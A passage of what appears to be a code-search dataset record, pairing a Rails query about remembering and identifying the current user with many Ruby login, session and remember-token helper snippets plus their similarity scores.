"def log_in_user!(user)\n session[:session_token] = user.reset_session_token!\n end",
"def sign_in(user)\n remember_token = User.new_remember_token # create a new remember token\n cookies.permanent[:remember_token] = remember_token # save the remember token on the client side as a cookie\n user.update_attributes remember_token: User.hash(remember_token) # save the remember token on the server side in the DB\n self.current_user = user\n end",
"def signin(user)\n session[:user_id] = user.id\n end",
"def log_in(user)\n session[:user_id] \t = user.id\n session[:user_name] = user.name\n session[:user_email] = user.email\n end",
"def login!\n session[:user_id] = @user.id\n end",
"def sign_in\n session[:user_id] = @user.id\n end",
"def log_in (user)\n\t\t#Session is a rails method which saves something called as userid in a cookie\n\t\tsession[:user_name]=user.username\n\n\tend",
"def login user\n session[:user_id] = user.id\n end",
"def sign_in(user)\n session[:user_id] = user.id\n end",
"def sign_in(user)\n session[:user_id] = user.id\n end",
"def sign_in(user)\n session[:user_id] = user.id\n end",
"def sign_in(user)\n session[:user_id] = user.id\n end",
"def login_from_session\n self.current_user = User.find_by_id( session[ :user_id ] ) if session[ :user_id ]\n end",
"def login_from_session\n self.current_user = User.find_by_id(session[:user_id]) if session[:user_id]\n end",
"def login_from_session\n self.current_user = User.find(session[:user_id]) if session[:user_id]\n end",
"def login_from_session\n self.current_user = User.find(session[:user_id]) if session[:user_id]\n end",
"def log_in_as(user)\n session[:user_id]=user.id\n end",
"def login!(user)\n user.reset_session_token!\n # curr_session_token == user.session_token\n # sets user.curr_session_token and persists to UserSessionsOwnership table\n user.set_curr_session_token\n @current_user = user # set current_user upon login\n # session[:session_token] = user.session_token\n session[:session_token] = user.curr_session_token\n end",
"def log_user_in(user)\n note \"Welcome, #{user.contact.con_name}\"\n\n user.log(\"Logged in\")\n user.user_last_logged_in = Time.now\n user.save\n\n sm = SessionManager.new($store)\n sm.fork_session(@session, @context)\n @session.user = user\n @session.news = DailyPlanet.top_news_for_user(user)\n if user.contact.mail.empty?\n @data.user = user\n collect_user_info(false, true)\n else\n @session.pop\n end\n end",
"def login_as(user)\n session[:user_id] = user.id\n end",
"def sign_in(new_user)\n session['current_user_id'] = new_user.id\n @current_user = nil\n current_user\n end",
"def login_user(user)\n session[:current_user_id] = user.id\n end",
"def login_from_session\n self.current_user = User.find_by_id(session[:user_id]) if session[:user_id]\n end",
"def login(user)\n \tsession[:user_id] = user.id\n end",
"def log_in(poet)\n session[:user_id] = poet.id\n end",
"def login_from_session\n self.current_user = User.find(session[:user_id]) if session[:user_id]\n end",
"def login_user\n session[:user_id] = @user.id\n end",
"def login(user)\n session[:user_id] = user.id\n end",
"def login_user\n\t @user_session = UserSession.new\t \n\tend",
"def login(user)\n session[:user_id] = user.id\n end",
"def log_in_as(user)\n puts 'logging in!!'\n session[:name] = user.name\n end",
"def log_in_as(user)\n session[:admin] = user.id\n end",
"def set_logged_in_user(user)\n set_temporary_logged_in_user(user)\n session[:user_id] = user.id\n set_unlogged_in_user(nil)\n end",
"def log_in_user!(a_user)\n session[:session_token] = a_user.reset_session_token!\n end",
"def sign_in(user)\n # save current_user in remember_token cookie\n self.current_user = user \n cookies.permanent.signed[:remember_token] = [user.email, user.salt] \n end",
"def log_in_user_session_only(user_id)\n session[USER_SESSION_KEY] = user_id\n end",
"def login(user)\n request.session[:uid] = user.id\n end",
"def log_in\n end",
"def log_in!(user)\n cookies[:session_token] = user.reset_token!\n end",
"def login( user )\n session[:user_id] = user ? user.id : nil\n end",
"def set_user_session(user)\n session[:logged_in_users_id] = user.id\n end",
"def login_from_session\nself.current_user = User.find_by_id(session[:user_id]) if session[:user_id]\nend",
"def login!(session)\n session[:user_id] = self.id\n end",
"def sign_in(user)\n session[:session_token] = SecureRandom.urlsafe_base64\n user.update!(session_token: session[:session_token])\n end",
"def login\n session[:user_id] = nil\n end",
"def login!(user, options = {})\n session[:session_token] = user.persistence_token\n session[:active_at] = Time.now\n @current_user = user\n end",
"def sign_in(user)\n @current_user = user\n session[:user_id] = user.try(:id)\n end",
"def logged_in_user\n\t\tunless logged_in?\n\t\t\tstore_location\n\t\t\tflash[:danger] = \"Log in\"\n\t\t\tredirect_to login_url\n\t\tend\n\tend",
"def login_as(user)\n session[:user_id] = users(user).id\n end",
"def login!(user)\n # Store both local ID and horizon_borrower_id\n # to try and prevent mismatches from cookies.\n session[:current_user_id] = user.id\n session[:current_user_horizon_id] = user.horizon_borrower_id\n\n # Blacklight requires this to migrate guest bookmarks over\n # to permanent bookmarks where needed. It's not documented\n # well exactly how this works with non-Devise auth, but appears\n # to be working.\n transfer_guest_user_actions_to_current_user\n end",
"def log_in(user_name)\n if User.find_by_user_name(user_name)\n session[:user_name] = user_name\n true\n else\n false\n end\n end",
"def auto_login(user, should_remember = false)\n session[:user_id] = user.id.to_s\n @current_user = user\n remember_me! if should_remember\n end",
"def logging_in\n current_user.absorb_from(guest_user)\n end",
"def login(user)\n session[:user_id] = user.try(:id)\n @current_user = user\n end",
"def logged_in\r\n end",
"def sign_in(user)\n login_as user\n end",
"def logged_in_user\n @current_user = User.find_by_id(session[:cookie])\n end",
"def login!(session)\n\t\tsession[:user_id] = id\n\tend",
"def login_user!(user)\n user.reset_session_token!\n session[:session_token] = user.session_token\n end",
"def login_user(user = gen_user)\n session[:user_id] = user.id\n return user\n end",
"def log_in(employee)\n\t\tsession[:id] = employee.id\n\tend",
"def log_in_as(user)\n cookies[:remember_token] = user.remember_token\n end",
"def logged_in\n if current_user == nil\n redirect_to new_user_session_path\n end\n end",
"def login_as(user)\n @request.session[:user_id] = user.id\n end"
] |
[
"0.80320823",
"0.7927296",
"0.78954214",
"0.78954214",
"0.78954214",
"0.78954214",
"0.78954214",
"0.78954214",
"0.78954214",
"0.78954214",
"0.78954214",
"0.78954214",
"0.78954214",
"0.78954214",
"0.78954214",
"0.78954214",
"0.77384216",
"0.77266836",
"0.77230084",
"0.7610431",
"0.7568756",
"0.7564111",
"0.7495921",
"0.74925476",
"0.74925476",
"0.7491592",
"0.74645025",
"0.74645025",
"0.74645025",
"0.74645025",
"0.74645025",
"0.7450598",
"0.7439882",
"0.7412101",
"0.7402416",
"0.739016",
"0.7387391",
"0.7387391",
"0.73867446",
"0.7368797",
"0.7364594",
"0.73338205",
"0.73315156",
"0.73223037",
"0.73166513",
"0.73099965",
"0.73099965",
"0.73099965",
"0.73099965",
"0.7291899",
"0.7290569",
"0.72840464",
"0.72840464",
"0.7281024",
"0.72649926",
"0.7253346",
"0.72296363",
"0.72276115",
"0.7221334",
"0.7218392",
"0.72176",
"0.7216462",
"0.721646",
"0.72132283",
"0.7184135",
"0.71775585",
"0.7177387",
"0.71739554",
"0.7160602",
"0.71419144",
"0.714074",
"0.7131449",
"0.713123",
"0.71255183",
"0.7112609",
"0.71105963",
"0.71091235",
"0.7093573",
"0.7088849",
"0.70872736",
"0.7082075",
"0.70628786",
"0.70528334",
"0.70469576",
"0.70196456",
"0.7018095",
"0.700358",
"0.69812757",
"0.696449",
"0.6953891",
"0.6935799",
"0.6930456",
"0.69276917",
"0.69261146",
"0.6924899",
"0.6908119",
"0.6904966",
"0.69029444",
"0.68904585",
"0.68877685",
"0.6884734"
] |
0.0
|
-1
|
def remember Returns true if the given user is the current user.
|
def current_user?(user)
user == current_user
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user?\n # First, is the user already authenticated?\n return true if !current_user_id.nil?\n\n # If not, is the user using a remember-me token?\n remember_me_token = cookies[:transport_remember_me_token]\n if !remember_me_token.nil?\n user_id, token = remember_me_token.split(\"_t_\",2)\n new_token = User.authenticate_by_remember_me(user_id, token)\n if !new_token.nil?\n user = User.find(:first, :conditions => [\"id = ?\", user_id])\n if user.nil?\n return false\n end\n user.save\n cookies[:transport_remember_me_token] = {:value => user_id + \"_t_\" + new_token, :expires => Time.now + 1.week}\n session[:user_id] = user.id\n return true\n end\n end\n\n # Everything failed\n return false\nend",
"def remember_me?\n remember_me == true || remember_me == \"true\" || remember_me == \"1\"\n end",
"def remember_me() return true; end",
"def remember_me?\n remember_me == \"1\"\n end",
"def remember_me?\n remember_me == \"1\"\n end",
"def remember_me?\n self.remember_me ==\"1\"\n end",
"def remember_me?\n false\n end",
"def remember_me?\n false\n end",
"def remember_me?\n return (self.remember_me == \"1\")\n end",
"def remember\n return false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def remember (user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n # Because we want the user id to be paired with the permanent remember token,\n # we should make it permanent as well, which we can do by chaining the signed\n # and permanent methods:\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember_me?; end",
"def remember user\n # generates the remember token and saves it's encrypted form to the db\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n\t\tuser.remember\n\t\tcookies.permanent.signed[:user_id] = user.id\n\t\tcookies.permanent[:remember_token] = user.remember_token\n\tend",
"def remember(user)\n\t\tuser.remember\n\t\tcookies.permanent.signed[:user_id] = user.id\n\t\tcookies.permanent[:remember_token] = user.remember_token\n\tend",
"def remember(user)\n\t\tuser.remember\n\t\tcookies.permanent.signed[:user_id] = user.id\n\t\tcookies.permanent[:remember_token] = user.remember_token\n\tend",
"def remember(user)\n\t\tuser.remember\n\t\tcookies.permanent.signed[:user_id] = user.id\n\t\tcookies.permanent[:remember_token] = user.remember_token\n\tend",
"def remember(user)\n\t\tuser.remember\n\t\tcookies.permanent.signed[:user_id] = user.id\n\t\tcookies.permanent[:remember_token] = user.remember_token\n\tend",
"def remember(user)\n\t\tuser.remember\n\t\tcookies.permanent.signed[:user_id] = user.id\n\t\tcookies.permanent[:remember_token] = user.remember_token\n\tend",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.token\n end",
"def remember(user)\n\t\tuser.remember\n\t\tcookies.permanent[:remember_token] = user.remember_token\n\t\tcookies.permanent.signed[:user_id] = user.id\n\tend",
"def remember(user)\n\t\tuser.remember\n\t\tcookies.signed.permanent[:user_id] = user.id\n\t\tcookies.signed.permanent[:remember_token] = user.remember_token\n\tend",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.encrypted[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n\t\tuser.remember\n\t\tcookies.permanent.signed[:user_id] = user.id \n\t\tcookies.permanent[:remember_token] = user.remember_token\t\n\tend",
"def remember(user)\n\tuser.remember\n\tcookies.permanent.signed[:user_id] = user.id\n\tcookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id]= user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n\n # Because using: cookies[:user_id] = user.id, it places the id as plain text, this method exposes the form of the application’s cookies \n # and makes it easier for an attacker to compromise user accounts. \n # To avoid this problem, we’ll use a signed cookie, which securely encrypts the cookie before placing it on the browser\n # permanent is short for 20.years.from_now.utc, refer to tutorial 8.4.2\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent.signed[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n\t\tuser.remember #generate remember token and save digest to db\n\t\tcookies.permanent.signed[:user_id] = user.id #create permanent cookie for user id\n\t\tcookies.permanent[:remember_token] = user.remember_token #remember token\n\tend",
"def remember(user)\n user.remember\n # signed cookies encrypts the cookie before placing on browser\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.encrypted[:user] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember!\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id #store the user id into cookies\n cookies.permanent[:remember_token] = user.remember_token #store the token into cookies\n end",
"def remember(user)\n user.remember\n # abort(@session[:user_id].to_s)\n # cookies.permanent.signed[:user_id] = user.id\n # cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n # The \"signed\" method encrypts the user_id, since cookies are not themselves encrypted\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n\t\tuser.remember\n\t\tcookies.permanent.signed[:user_id]=user.id\n\t\tcookies.permanent[:remember_token]=user.remember_token\n\tend",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id # encrypt the user_id instead of plaintext\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember_me?\n valid_params? && [true, 1, '1', 't', 'T', 'true', 'TRUE'].include?(params[:remember_me])\n end",
"def remember(user)\n\tuser.remember\n\tcookies.permanent.signed[:user_id] = user.id\n\tcookies.permanent[ :remember_token] = user.remember_token\nend",
"def remember(user)\n # make a call to user.remember in our session controller remember method\n user.remember\n\n # now place the 2 cookies on the browser:\n # step 1:\n # cookies[:user_id] = { value: user.id, expires: 20.years.from_now.utc } -- same as:\n # cookies.permanent[:user_id] = user.id -- but this leaves user.id unencrypted..\n # session will encrypt user.id, but cookies will not so we need to call signed ..\n cookies.permanent.signed[:user_id] = user.id\n\n # step 2:\n # here we set random string(user.remember_token) to our cookies remember token..\n cookies.permanent[:remember_token] = user.remember_token\n\n # now lets modify current user to pull out permanent cookie if the user is NOT logged in..\n end",
"def remember(user)\n \tuser.remember\n \tcookies.permanent.signed[:user_id]=user.id\n \tcookies.permanent[:remember_token]=user.remember_token\n end",
"def remember(user)\n user.remember # Calls model\n cookies.permanent.signed[:user_id] = user.id # Save off encryped user ID\n cookies.permanent[:remember_token] = user.remember_token # Save off random thing for validation\n end",
"def user_remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember_me\n true\n end",
"def remember_me\n true\n end",
"def remember_me\n true\n end",
"def remember(user)\n user.remember # remember methode wird aufgerufen. user bekommt token und remember digest\n cookies.permanent.signed[:user_id] = user.id #we’ll use a signed cookie, which securely encrypts the cookie before placing it on the browser. we should make it permanent(expire after 20 years) as well, which we can do by chaining the signed and permanent methods\n cookies.permanent[:remember_token] = user.remember_token #der remember_token wird ebenfalls \"permanent\"\" im cookie gespeichert\n end",
"def user_remember(user)\n user.remember_user\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.save_remember_digest\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent.signed[:user_type_string] = user.class.to_s\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n # generates the remember token and saves it's digest to the db\n user.remember\n # sets a cookies to expire 20 years from now (.permanent) and securely encrypts it (.signed)\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user)\n user.remember\n cookies.signed[:user_id] = { value: user.id, expires: 30.days.from_now.utc }\n cookies[:remember_token] = { value: user.remember_token, expires: 30.days.from_now.utc }\n end",
"def remember(user)\n\t\t#calls the remember method in AdminUser model\n\t\tuser.remember\n\t\t#cookies method helps to do permanent sessions. This is actually a syntactic sugar for a bigger thing. \n\t\tcookies.permanent.signed[:user_name] = user.username\n\t\t#save the remembertoken as well. this dosent need to be encrypted\n\t\tcookies.permanent[:remember_token] = user.remember_token\n\tend",
"def remember(user)\n user.persist\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def remember(user) \n user.remember # the method creates remember_token for that user and saves the hashed the version in the db \n cookies.permanent.signed[:user_id] = user.id # This stores the user.ID(encrypted) in the browser cookie\n cookies.permanent[:remember_token] = user.remember_token # This stores the remember token(encrypted) in the cookie \n # the remember token was created in the first line of code \"user.remember\"\n end",
"def remember(user)\n user.remember\n # cookies[:remember_token] = { value: user.remember_token, expires: 10.days.from_now.utc }\n # cookies.signed[:user_id] = { value: user.id, expires: 10.days.from_now.utc }\n cookies.permanent[:remember_token] = user.remember_token\n cookies.permanent.signed[:user_id] = user.id\n end",
"def auto_remember!(_user, _username, _password, options)\n options = { should_remember: false }.merge(options)\n return unless options[:should_remember] == true\n\n remember_me!\n end",
"def authenticated?(remember_token)\n\t digest = send(\"remember_digest\")\n\t return false if digest.nil?\n\t BCrypt::Password.new(digest).is_password?(remember_token)\n \tend",
"def authenticated_remember?(remember_token)\n return false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def valid_remember_cookie?\n return nil unless @current_user\n (@current_user.remember_token?) && \n (cookies[:auth_token] == @current_user.remember_token)\n end",
"def remember_me_for\n return unless remember_me?\n self.class.remember_me_for\n end",
"def authenticated? remember_token\n\t\tBCrypt::Password.new(remember_digest).is_password?(remember_token)\n\tend",
"def remember(user)\n user.remember # call remember method from User model class\n # places these two cookies on the browser\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end",
"def authenticated? remember_token\n return false unless remember_digest\n\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def remember(user)\n user.set_remember_token\n cookies.permanent.signed[:user_id] = user.id\n #user.remember_token is the User::remember_token class variable, \n #no getters on the rails train...\n cookies.permanent[:remember_token] = user.remember_token\n \n end",
"def valid_remember_cookie?\n return nil unless @current_user\n (@current_user.remember_token?) && (cookies[:auth_token] == @current_user.remember_token)\n end",
"def remember(user)\n user.remember\n cookies.permanent.signed[:user_id] = user.id\n cookies.permanent[:remember_token] = user.remember_token\n end"
] |
[
"0.77358985",
"0.7709441",
"0.7517684",
"0.7497852",
"0.7497852",
"0.7451521",
"0.74410003",
"0.74410003",
"0.74265105",
"0.7415466",
"0.73238564",
"0.7312187",
"0.731007",
"0.72891635",
"0.7287093",
"0.7282067",
"0.7282067",
"0.7282067",
"0.7282067",
"0.7282067",
"0.7282067",
"0.72818005",
"0.72777057",
"0.7275573",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.727146",
"0.72707194",
"0.72599524",
"0.7258054",
"0.7254757",
"0.7248408",
"0.7245756",
"0.724445",
"0.724445",
"0.724445",
"0.7232187",
"0.7230616",
"0.7228665",
"0.7225299",
"0.7215767",
"0.72071755",
"0.71890694",
"0.7184492",
"0.71801907",
"0.71783125",
"0.71768373",
"0.7165965",
"0.71630144",
"0.71552145",
"0.71329355",
"0.71248674",
"0.71248674",
"0.71248674",
"0.71125436",
"0.7107615",
"0.7107022",
"0.7100576",
"0.70917165",
"0.70887697",
"0.70720845",
"0.7059864",
"0.7056274",
"0.70555824",
"0.7035396",
"0.70233744",
"0.7012015",
"0.7003593",
"0.7002989",
"0.70002115",
"0.6986704",
"0.69687",
"0.69685876",
"0.6967286",
"0.69362134"
] |
0.0
|
-1
|
Returns the current loggedin user (if any).
|
def current_user
if session[:user_id].present?
user_id = session[:user_id]
user_type = session[:user_type]
@current_user ||= find_user_by_type(user_type, user_id)
elsif cookies.signed[:user_id].present?
user_id = cookies.signed[:user_id]
user_type = cookies[:user_type]
user = find_user_by_type(user_type, user_id)
if user and user.authenticated?(:remember, cookies[:remember_token])
log_in(user, user_type)
@current_user = user
else
forget(user)
end # if user and user.authenticated?
end # if session[:user_id] / elsif
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def current_user\n if session[:user_id]\n return User.find(session[:id])\n else\n return nil\n end\n end",
"def current_user\n if session[:user_id]\n User.find(session[:user_id])\n else\n nil\n end\n end",
"def current_user\n return unless session[:user_id]\n User.find(session[:user_id])\n end",
"def get_current_user\n if session[:authenticated]\n return User.find_by_id(session[:user_id])\n end\n return nil\n end",
"def getLoggedInUser\n if session[:user_id]\n return User.find(session[:user_id])\n else\n return nil\n end\n end",
"def current_user\n if session[:user_id]\n User.find(session[:user_id])\n else\n end\n end",
"def current_user\n User.get_user(session[:user_id]) if session[:user_id]\n end",
"def current_user\n if session[:user_id]\n return @user ||= User.find(session[:user_id]['$oid'])\n else\n return nil\n end\n end",
"def current_user\n\t\tif session[:user_id].present?\n\t\t\tUser.find(session[:user_id])\n\t\tend\n\tend",
"def current_user\n if session[:user_id]\n user = User.find(session[:user_id])\n else\n nil\n end\n end",
"def current_user\n if valid_session?\n User.find(session[:user_id])\n end\n end",
"def get_current_user\n if @current_user\n return @current_user\n else\n @current_user = User.find_by(id: session[:user_id])\n end\n end",
"def get_logged_in_user\n if logged_in?\n user = User.find(session[:current_user_id])\n if user\n return user\n else\n return nil\n end\n end\n \n #default return nil\n nil\n end",
"def get_current_user\n @current_user ||= User.find(session[:user_id]) unless session[:user_id].blank?\n return @current_user\n end",
"def current_user\n if session[:user_id]\n User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n User.find_by(uid: session[:user]) if logged_in?\n end",
"def current_user(id = session[:user_id])\n User.get_one id\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if logged_in?\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if logged_in?\n end",
"def current_user\n return @current_user if @current_user.present?\n\n if session[:uid]\n @current_user = User.from_session(session)\n end\n\n @current_user\n end",
"def current_user\n if logged_in?\n return User.get(session['user'])\n end\n AnonymousUser.new\n end",
"def get_current_user\n unless session[:user_id]\n @current_user = nil\n return\n end\n @current_user = User.first(:conditions => {:id => session[:user_id] })\n end",
"def get_current_user\n unless session[:user_id].blank?\n @current_user = User.find(session[:user_id])\n else\n @current_user = nil\n end\n end",
"def current_user\n\t\t\tUser.find(session[:user_id])\n\t\tend",
"def current_user\n\t\t\tUser.find(session[:user_id])\n\t\tend",
"def current_user\n @current_user if logged_in?\n end",
"def current_user\n @current_user if logged_in?\n end",
"def current_user\n\tif(session[:user_id])\n\t\t@u ||= User.first(id: session[:user_id])\n\t\treturn @u\n\telse\n\t\treturn nil\n\tend\nend",
"def current_user\n\tif(session[:user_id])\n\t\t@u ||= User.first(id: session[:user_id])\n\t\treturn @u\n\telse\n\t\treturn nil\n\tend\nend",
"def current_user\n\tif(session[:user_id])\n\t\t@u ||= User.first(id: session[:user_id])\n\t\treturn @u\n\telse\n\t\treturn nil\n\tend\nend",
"def current_user\n\tif(session[:user_id])\n\t\t@u ||= User.first(id: session[:user_id])\n\t\treturn @u\n\telse\n\t\treturn nil\n\tend\nend",
"def current_user\n if !session[:user_id] then nil else User.find(session[:user_id]) end\n end",
"def current_user\n User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n User.find(session[:user_id]) if session[:user_id]\n end",
"def get_current_user\n if session[:user_id]\n @current_user ||= User.find_by(id: session[\"user_id\"])\n end\n end",
"def current_user\n user_id = get_log_in_session\n if user_id\n get_user(user_id)\n else\n user = get_user(cookies.signed['user_id'])\n if user&.authenticated?(:remember, cookies[:remember_token])\n set_log_in_session user\n user\n end\n end\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n #return current user if @current_user already exists.\n #if there's no current user, return the user with ID == session user ID, if there is one.\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n return @current_user\n end",
"def current_user\n if !@current_user.nil?\n @current_user\n elsif !session[:current_user_id].nil?\n begin\n @current_user = User.find(session[:current_user_id])\n rescue ActiveRecord::RecordNotFound\n @current_user = nil\n end\n end\n end",
"def current_user\n if Rails.application.config.use_omniauth\n return nil unless session[:user_info]\n @current_user ||= User.find_user_from_omniauth(session[:user_info])\n else\n @current_user ||= User.where(username: request.env['aker.check'].user.username).first\n end\n end",
"def current_user\n return unless session[:user_id]\n @current_user ||= User.find(session[:user_id])\n end",
"def current_user\n return unless session[:user_id]\n @current_user ||= User.find(session[:user_id])\n end",
"def current_user\n return unless session[:user_id]\n @current_user ||= User.first(:id => session[:user_id])\n end",
"def current_user\n begin\n unless @current_user.nil?\n return @current_user\n else\n if session[:user_id]\n return @current_user = User.find(session[:user_id])\n else\n return nil\n end\n end\n rescue\n return nil\n end\nend",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n #return current user or set to this if there isnt a current user\n end",
"def current_user\n # User.find would throw an error if we cannot find the user\n User.find_by({ id: session[:user_id] })\n end",
"def current_user\n\n sql = \"SELECT * FROM users WHERE id = $1;\"\n \n results = run_sql(sql, [session[:user_id]]) \n return results.first\n end",
"def current_user\n\tif session[:user_id].present?\n\t\tUser.find(session[:user_id])\t\n\tend\nend",
"def current_user\n return @current_user ||= User.find(session[:user_id]) unless session[:user_id].nil?\n end",
"def current_user\n if @current_user.nil?\n @current_user = User.find_by(id: session[:user_id])\n else\n @current_user\n end\n end",
"def current_user\n get_from_options_or_controller(:current_user)\n end",
"def current_user\n begin \n User.find(session[:user_id])\n rescue ActiveRecord::RecordNotFound\n nil\n end\n end",
"def current_user\n if user_signed_in?\n Session.active_sessions.find_by(id: request.headers['sid'], utoken: request.headers['utoken']).user\n else\n nil\n end\n end",
